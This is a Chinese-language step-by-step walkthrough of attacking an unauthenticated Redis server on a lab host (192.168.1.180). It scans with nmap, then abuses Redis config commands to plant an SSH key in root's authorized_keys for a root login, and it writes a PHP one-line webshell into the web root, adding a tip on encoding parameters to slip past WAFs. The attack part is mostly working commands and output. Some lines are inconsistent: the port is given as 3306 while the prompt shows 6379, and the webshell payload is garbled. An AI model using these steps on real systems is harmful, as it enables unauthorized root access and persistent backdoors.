Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。
但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,没有设置密码并直接对外开放了6379端口,那么这就是一个危险的行为。
未对Redis进行充分的访问控制,可利用Redis可写入文件的漏洞实现攻击。
所有对公网开放的Redis端口,未设置密码或设置弱密码的Redis服务的主机都存在这个漏洞。
CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器。
nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).
PORT STATE SERVICE
6379/tcp open redis
Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#发现开放了Redis服务
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key
#远程连接
redis-cli -h 192.168.1.180 -p 6379
#尝试清空redis
192.168.1.180:6379> flushall
#设置 Redis 数据库的持久化存储路径
192.168.1.180:6379> config set dir /root/.ssh
#设置 Redis 数据库的持久化存储文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save
ssh [email protected] -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#验证用户
[root@lnmp ~]# whoami
root
CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器,服务器有LNMP环境。
└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).
PORT STATE SERVICE
80/tcp open http
443/tcp filtered https
6379/tcp open redis
MAC Address: 00:0C:29:01:E8:DC (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#发现开放了Redis和http服务
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK
curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6
#pip配置阿里云镜像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期间会提示安装一些包,正常安装就行。执行dirsearch,尝试路径爆破后进行手动过滤。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一个携带php报错的地址,手动访问
Warning: Undefined variable $res in /Host/err.php on line 2
#至此,发现php的站点在/Host下。
redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n$_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK
远程的文件是这样的,既包含了其它key的备份,也包含了一句话木马:
REDIS0009� redis-ver5.0.8� redis-bits�@�ctime™m`e�used-mem��Z �aof-preamble���ssh_keyB7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCltv+2wFaA4vixtU7N0Iz4K9J/wO62iWli2emLNHYR8Q32hIsHzGvChgF3dcb1lLqndfCKDOk16FwHfkiChZAtjcruK36xWxrTNP54q5ZXBpuT6T+b8zkAljRLN0KqDPxfuM9IuObgMqNSxRPmdlMqxXp6B5BaMY8+iPJL175eM+0Jes2+U9yN/s5zEmjkYTXFHG96CMR+lHXcN3StXZKs4hZGRsxt2KxQ5TP+lsqVV7AIBAOO5milCOUOcOIZJ+bad5aMt+ESt4Sjnzy9Vln2i31UU2QqO4XiVLaLexm4JFqKpjLqis6C9YyTZYwFl/xam3FvroFrlFdsbaRP3W2c0aJLxtX2yHH/T0cFXQJbI5rA04Z+TS4gJqGeofQ8+dNHQc7lBLbcGuR5cN8g/0VKgh4b7bYsXRG9XFZXL7Kl6r2TBCg7FVIKkWoSALm5Qr0tEy1ytNSUMversoDq2q6/EPsfkUDfFJipoEpv4hCzJXy57dDQBOdGaIMvY6+Zk88= root@ZS abc�{test
#由于PHP只解析从结束的代码,所以其余字符不受影响。
#为了防止被WAF拦截,传参过程也可自定义编码
http://192.168.1.180/test.php?a=phpinfo();